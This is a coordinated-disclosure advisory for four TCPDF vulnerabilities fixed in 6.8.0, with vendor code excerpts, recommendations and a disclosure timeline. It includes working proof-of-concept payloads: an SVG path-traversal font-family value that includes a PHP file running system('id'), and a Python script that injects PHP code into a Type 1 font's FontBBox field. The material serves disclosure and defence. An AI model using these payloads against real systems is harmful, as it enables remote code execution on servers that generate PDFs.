Multiple Vulnerabilities in TCPDF
Introduction
I recently identified multiple vulnerabilities in TCPDF, which is a popular library used for PDF generation (this is a repost from the NCC Group research blog). These issues were addressed in version 6.8.0 of the library.
Web applications and web services often utilize PDF generation libraries when generating PDFs based on user input in order to generate invoice documents or report export documents. TCPDF supports programmatically creating PDFs or creating PDFs based on HTML content, but applications are often exploitable when an attacker can control the HTML used to generate the PDF files. Against TCPDF, I noted the following vulnerabilities.
- Local File Inclusion via SVG Parsing (CVE-2024-56519) - If an attacker can control the HTML converted into a PDF then code execution is possible when the HTML contains specific SVG content. Depending on the context this can result in remote code execution.
- PHP Code Injection via Malicious Font File (CVE-2024-56520) - If an attacker can control the font converted by the library then code execution is possible. Depending on the context this can result in remote code execution.
- Improper Certificate Validation (CVE-2024-56521) - If an attacker is in the position to perform a man-in-the-middle (MITM) attack against the system, and a specific PHP configuration is used, then the attacker can manipulate the content the library loads remotely. An attacker could chain this attack together with CVE-2024-56519 to gain remote code execution depending on the context (force the application to load a malicious SVG file instead of a benign image).
- Type Juggling (CVE-2024-56522) - If the library is used with a non-default configuration it is possible to bypass a signature check and invoke unexpected functions from the
TCPDF
class.
1. Local File Inclusion via SVG Parsing (CVE-2024-56519)
Vendor: tecnickcom
Vendor URL: https://github.com/tecnickcom/TCPDF
Versions affected: Versions before 6.8.0
Systems Affected: All
Author: Neil Bergman
Advisory URL / CVE Identifier: CVE-2024-56519 - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-56519
Risk: High
Summary
A Local File Inclusion (LFI) vulnerability exists within TCPDF that allows an attacker to cause the application to include and execute a PHP file from the filesystem when parsing untrusted SVG content.
Impact
Exploitation allows an attacker to cause the application to include and execute a PHP file from the filesystem when parsing untrusted SVG content.
Details
To demonstrate the vulnerability. Create the following PHP file that will be included (/tmp/file.php
).
<?php
system('id');
exit(0);
?>
Next create the following PHP file that uses TCPDF to convert SVG content to a PDF. Note the use of the font-family
attribute set to ../../../../../../../../../../../tmp/file
and the font
attribute set to empty
.
<?php
require_once('tcpdf_include.php');
$pdf = new TCPDF(PDF_PAGE_ORIENTATION, PDF_UNIT, PDF_PAGE_FORMAT, true, 'UTF-8', false);
$pdf->AddPage();
$svgString = "<svg width=\"200\" height=\"200\">";
$svgString .= "<text x=\"20\" y=\"20\" font=\"empty\" font-family=\"../../../../../../../../../../../tmp/file\">test</text>";
$svgString .= "</svg>";
$pdf->ImageSVG('@' . $svgString, $x=15, $y=30, $w='', $h='', $link='http://www.tcpdf.org', $align='', $palign='', $border=1, $fitonpage=false);
?>
Running the previous PHP program will cause the application to include ../../../../../../../../../../../tmp/file.php
as a PHP file, which triggers execution of the PHP code in that file.
$ php poc_html_font.php
uid=1000(nb) gid=1000(nb) groups=1000(nb),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)
Note that this vulnerability can also be triggered when the library parses an img
element that references a malicious SVG hosted on a third-party server.
From a code perspective, the setSVGStyles
function from /tcpdf.php
parses SVG style attributes. When the font-family
CSS property is extracted from the font
attribute, then the application performs input validation via the getFontFamilyName
function that strips all symbols, besides the underscore and comma characters, from the font family name. Alternatively, when the font family name is extracted from the font-family
attribute then no input validation occurs as shown in the following code. The font family is later passed to the setFont
function.
$regs = array();
if (!empty($svgstyle['font'])) {
if (preg_match('/font-family[\s]*:[\s]*([^\;\"]*)/si', $svgstyle['font'], $regs)) {
$font_family = $this->getFontFamilyName($regs[1]);
} else {
$font_family = $svgstyle['font-family'];
}
...
$this->setFont($font_family, $font_style, $font_size);
The setFont
function passes the font family to the AddFont
function.
$fontdata = $this->AddFont($family, $style, $fontfile, $subset);
The AddFont
builds a filename based on the font family name and style name. The font filename is later included as PHP code via the include
function.
// search and include font file
if (TCPDF_STATIC::empty_string($fontfile) OR (!@TCPDF_STATIC::file_exists($fontfile))) {
// build a standard filenames for specified font
$tmp_fontfile = str_replace(' ', '', $family).strtolower($style).'.php';
$fontfile = TCPDF_FONTS::getFontFullPath($tmp_fontfile, $fontdir);
if (TCPDF_STATIC::empty_string($fontfile)) {
$missing_style = true;
// try to remove the style part
$tmp_fontfile = str_replace(' ', '', $family).'.php';
$fontfile = TCPDF_FONTS::getFontFullPath($tmp_fontfile, $fontdir);
}
}
// include font file
if (!TCPDF_STATIC::empty_string($fontfile) AND (@TCPDF_STATIC::file_exists($fontfile))) {
$type=null;
$name=null;
$desc=null;
$up=-null;
$ut=null;
$cw=null;
$cbbox=null;
$dw=null;
$enc=null;
$cidinfo=null;
$file=null;
$ctg=null;
$diff=null;
$originalsize=null;
$size1=null;
$size2=null;
include($fontfile);
Recommendation
- The library should utilize consistent input validation for the font family name.
- Downstream users of the library should upgrade to 6.8.0.
2. PHP Code Injection via Malicious Font File (CVE-2024-56520)
Vendor: tecnickcom
Vendor URL: https://github.com/tecnickcom/TCPDF
Versions affected: Versions before 6.8.0
Systems Affected: All
Author: Neil Bergman
Advisory URL / CVE Identifier: CVE-2024-56520 - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-56520
Risk: Medium
Summary
TCPDF supports converting and adding TrueType or Type1 fonts via the addTTFfont
function that can later be used for PDF generation. If an attacker can control the font file that an application converts then an attacker can inject arbitrary PHP code into the generated font metadata PHP file, which will execute when the setFont
function is executed.
Impact
Exploitation allows an attacker to execute arbitrary code assuming the application adds an untrusted font file.
Details
Consider the following code from the /include/tcpdf_fonts.php
file. TCPDF does not perform input validation on the FontBBox
attribute taken from the Type 1 font file, which is used to build the font metadata PHP file ($pfile
).
preg_match('#/FontBBox[\s]*{([^}]*)#', $font, $matches);
$fmetric['bbox'] = trim($matches[1]);
...
$pfile .= '\'FontBBox\'=>\'['.$fmetric['bbox'].']\',';
...
$fp = TCPDF_STATIC::fopenLocal($outpath.$font_name.'.php', 'w');
fwrite($fp, $pfile);
To demonstrate this issue, we can acquire an existing Type 1 font file.
curl https://raw.githubusercontent.com/tecnickcom/tc-font-pdfa/refs/heads/main/pfb/PDFACourier.pfb -o original.pfb
And then manipulate the FontBBox
attribute to include PHP code using the following Python code. The Python code will alter the FontBBox
attribute and update the segment length value in the font file.
from struct import *
php_code_inject = b"1 2 3 4'.system('id').'"
font_filename = "original.pfb"
with open(font_filename, "rb") as content_file:
content = content_file.read()
segment_one = unpack("<ccI", content[0:6])
segment_one_size = segment_one[2]
print("Original Segment 1 Size: " + str(segment_one_size))
font_bbox_start_index = content.index(b"/FontBBox {")
content2 = content[font_bbox_start_index:]
font_bbox_prefix = content[:font_bbox_start_index+11]
end_index = content2.index(b"}")
font_bbox_value = content2[11:end_index]
font_bbox_postfix = content2[end_index:]
length_difference = len(php_code_inject) - len(font_bbox_value)
new_segment_one_size = segment_one_size + length_difference
print("New Segment 1 Size: " + str(new_segment_one_size))
modified_font_file = content[0:2] + pack("<I", new_segment_one_size) + font_bbox_prefix[6:] + php_code_inject + font_bbox_postfix
print("Writing new font file.")
with open("modified.pfb", "wb") as binary_file:
binary_file.write(modified_font_file)
The following PHP code demonstrates adding and converting the modified font file.
<?php
require_once('tcpdf_include.php');
$pdf = new TCPDF(PDF_PAGE_ORIENTATION, PDF_UNIT, PDF_PAGE_FORMAT, true, 'UTF-8', false);
$fontname = TCPDF_FONTS::addTTFfont('modified.pfb');
$pdf->setFont($fontname, '', 14, '', true);
?>
Running the previous PHP program will cause the following font metadata PHP file to be generated and the injected PHP code will execute.
$ php poc_font.php
uid=1000(nb) gid=1000(nb) groups=1000(nb),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)
Note the following generated font metadata PHP file in TCPDF’s font directory contains injected PHP code.
<?php
// TCPDF FONT FILE DESCRIPTION
$type='Type1';
$name='PDFACourier';
$up=-100;
$ut=50;
$dw=600;
$diff='';
$enc='cp1252';
$file='modified.z';
$size1=5076;
$size2=35257;
$desc=array('Flags'=>33,'FontBBox'=>'[1 2 3 4'.system('id').']','ItalicAngle'=>0,'Ascent'=>4,'Descent'=>2,'Leading'=>0,'CapHeight'=>563,'XHeight'=>417,'StemV'=>70,'StemH'=>30,'AvgWidth'=>600,'MaxWidth'=>600,'MissingWidth'=>600);
$cw=array(0=>600,1=>600,2=>600,3=>600,4=>600,5=>600,6=>600,7=>600,8=>600,9=>600,10=>600,11=>600,12=>600,13=>600,14=>600,15=>600,16=>600,17=>600,18=>600,19=>600,20=>600,21=>600,22=>600,23=>600,24=>600,25=>600,26=>600,27=>600,28=>600,29=>600,30=>600,31=>600,32=>600,33=>600,34=>600,35=>600,36=>600,37=>600,38=>600,39=>600,40=>600,41=>600,42=>600,43=>600,44=>600,45=>600,46=>600,47=>600,48=>600,49=>600,50=>600,51=>600,52=>600,53=>600,54=>600,55=>600,56=>600,57=>600,58=>600,59=>600,60=>600,61=>600,62=>600,63=>600,64=>600,65=>600,66=>600,67=>600,68=>600,69=>600,70=>600,71=>600,72=>600,73=>600,74=>600,75=>600,76=>600,77=>600,78=>600,79=>600,80=>600,81=>600,82=>600,83=>600,84=>600,85=>600,86=>600,87=>600,88=>600,89=>600,90=>600,91=>600,92=>600,93=>600,94=>600,95=>600,96=>600,97=>600,98=>600,99=>600,100=>600,101=>600,102=>600,103=>600,104=>600,105=>600,106=>600,107=>600,108=>600,109=>600,110=>600,111=>600,112=>600,113=>600,114=>600,115=>600,116=>600,117=>600,118=>600,119=>600,120=>600,121=>600,122=>600,123=>600,124=>600,125=>600,126=>600,127=>600,128=>600,129=>600,130=>600,131=>600,132=>600,133=>600,134=>600,135=>600,136=>600,137=>600,138=>600,139=>600,140=>600,141=>600,142=>600,143=>600,144=>600,145=>600,146=>600,147=>600,148=>600,149=>600,150=>600,151=>600,152=>600,153=>600,154=>600,155=>600,156=>600,157=>600,158=>600,159=>600,160=>600,161=>600,162=>600,163=>600,164=>600,165=>600,166=>600,167=>600,168=>600,169=>600,170=>600,171=>600,172=>600,173=>600,174=>600,175=>600,176=>600,177=>600,178=>600,179=>600,180=>600,181=>600,182=>600,183=>600,184=>600,185=>600,186=>600,187=>600,188=>600,189=>600,190=>600,191=>600,192=>600,193=>600,194=>600,195=>600,196=>600,197=>600,198=>600,199=>600,200=>600,201=>600,202=>600,203=>600,204=>600,205=>600,206=>600,207=>600,208=>600,209=>600,210=>600,211=>600,212=>600,213=>600,214=>600,215=>600,216=>600,217=>600,218=>600,219=>600,220=>600,221=>600,222=>600,223=>600,224=>600,225=>600,226=>600,227=>600,228=>600,229=>600,230=>600,231=>600,232=>600,233=>600,234=>600,235=>600,236=>600,237=>600,238=>600,239=>600,240=>600,241=>600,242=>600,243=>600,244=>600,245=>600,246=>600,247=>600,248=>600,249=>600,250=>600,251=>600,252=>600,253=>600,254=>600,255=>600);
// --- EOF ---
Recommendation
- The library should validate that the
FontBBox
attribute is an array of integers prior to inclusion into the PHP file. - Downstream users of the library should upgrade to 6.8.0.
3. Improper Certificate Validation (CVE-2024-56521)
Vendor: tecnickcom
Vendor URL: https://github.com/tecnickcom/TCPDF
Versions affected: Versions before 6.8.0
Systems Affected: All
Author: Neil Bergman
Advisory URL / CVE Identifier: CVE-2024-56521 - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-56521
Risk: Medium
Summary
In a non-standard configuration of PHP (allow_url_fopen
disabled), TCPDF uses the curl library as a backup method to fetch remote files, such as image files, that are referenced in the HTML content that will be converted into a PDF file. Under these conditions, TCPDF disables peer certificate verification and host verification, which means that the content loaded is susceptible to man-in-the-middle (MITM) attacks.
Impact
Exploitation allows an attacker to perform man-in-the-middle (MITM) attacks against the application.
Details
From a code perspective, the fileGetContents
and url_exists
functions within /include/tcpdf_static.php
disables the CURLOPT_SSL_VERIFYPEER
and CURLOPT_SSL_VERIFYHOST
options.
public static function fileGetContents($file) {
...
if (!ini_get('allow_url_fopen')
&& function_exists('curl_init')
&& preg_match('%^(https?|ftp)://%', $path)
) {
// try to get remote file data using cURL
$crs = curl_init();
curl_setopt($crs, CURLOPT_URL, $path);
curl_setopt($crs, CURLOPT_FAILONERROR, true);
curl_setopt($crs, CURLOPT_RETURNTRANSFER, true);
if ((ini_get('open_basedir') == '') && (!ini_get('safe_mode'))) {
curl_setopt($crs, CURLOPT_FOLLOWLOCATION, true);
}
curl_setopt($crs, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt($crs, CURLOPT_TIMEOUT, 30);
curl_setopt($crs, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($crs, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($crs, CURLOPT_USERAGENT, 'tc-lib-file');
curl_setopt($crs, CURLOPT_MAXREDIRS, 5);
if (defined('CURLOPT_PROTOCOLS')) {
curl_setopt($crs, CURLOPT_PROTOCOLS, CURLPROTO_HTTPS | CURLPROTO_HTTP | CURLPROTO_FTP | CURLPROTO_FTPS);
}
$ret = curl_exec($crs);
...
public static function url_exists($url) {
$crs = curl_init();
// encode query params in URL to get right response form the server
$url = self::encodeUrlQuery($url);
curl_setopt($crs, CURLOPT_URL, $url);
curl_setopt($crs, CURLOPT_NOBODY, true);
curl_setopt($crs, CURLOPT_FAILONERROR, true);
if ((ini_get('open_basedir') == '') && (!ini_get('safe_mode'))) {
curl_setopt($crs, CURLOPT_FOLLOWLOCATION, true);
}
curl_setopt($crs, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt($crs, CURLOPT_TIMEOUT, 30);
curl_setopt($crs, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($crs, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($crs, CURLOPT_USERAGENT, 'tc-lib-file');
curl_setopt($crs, CURLOPT_MAXREDIRS, 5);
if (defined('CURLOPT_PROTOCOLS')) {
curl_setopt($crs, CURLOPT_PROTOCOLS, CURLPROTO_HTTPS | CURLPROTO_HTTP | CURLPROTO_FTP | CURLPROTO_FTPS);
}
curl_exec($crs);
...
Recommendation
- The library should not disable peer certificate verification and host verification.
- Downstream users of the library should upgrade to 6.8.0.
4. Type Juggling (CVE-2024-56522)
Vendor: tecnickcom
Vendor URL: https://github.com/tecnickcom/TCPDF
Versions affected: Versions before 6.8.0
Systems Affected: All
Author: Neil Bergman
Advisory URL / CVE Identifier: CVE-2024-56522 - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-56522
Risk: Low
Summary
A type juggling vulnerability exists in TCPDF due to the use of a loose comparison operator when the application verifies a HMAC used to ensure the integrity of the values associated with the custom TCPDF
tag during PDF generation. The TCPDF
tag, which is disabled in the library by default, allows HTML code to invoke allowlisted functions from the TCPDF
class with arbitrary arguments.
Impact
Exploitation allows an attacker invoke unexpected functions from the TCPDF
class.
Details
The openHTMLTagHandler
function from /tcpdf.php
will call a TCPDF
function based on attribute values associated with a TCPDF
tag only if certain conditions are met.
case 'tcpdf': {
if (defined('K_TCPDF_CALLS_IN_HTML') AND (K_TCPDF_CALLS_IN_HTML === true)) {
// Special tag used to call TCPDF methods
// This tag is disabled by default by the K_TCPDF_CALLS_IN_HTML constant on TCPDF configuration file.
// Please use this feature only if you are in control of the HTML content and you are sure that it does not contain any harmful code.
if (!empty($tag['attribute']['data'])) {
$tcpdf_tag_data = $this->unserializeTCPDFtag($tag['attribute']['data']);
if ($this->allowedTCPDFtag($tcpdf_tag_data['m'])) {
call_user_func_array(array($this, $tcpdf_tag_data['m']), $tcpdf_tag_data['p']);
The unserializeTCPDFtag
function extracts the JSON data from the TCPDF
tag and validates that the provided HMAC within the tag is valid, which prevents untrusted HTML code from invoking an allowlisted function, but the application uses a loose comparison operator (!=
) for the validation, which can lead to incorrect results. hash_equals
could be utilized instead for strict constant-time string comparison.
protected function hashTCPDFtag($data) {
return hash_hmac('sha256', $data, $this->hash_key, false);
}
...
protected function unserializeTCPDFtag($data) {
$hpos = strpos($data, '+');
$hlen = intval(substr($data, 0, $hpos));
$hash = substr($data, $hpos + 1, $hlen);
$encoded = substr($data, $hpos + 2 + $hlen);
if ($hash != $this->hashTCPDFtag($encoded)) {
$this->Error('Invalid parameters');
}
return json_decode(urldecode($encoded), true);
}
Recommendation
- The library should utilize strict constant-time string comparison for verification of HMACs.
- Downstream users of the library should upgrade to 6.8.0.
Vendor Communication
12/19/24 - Disclosed issues to vendor via email.
12/23/24 - Vendor releases version 6.8.0 to address issues.
2/25/25 - Disclosure.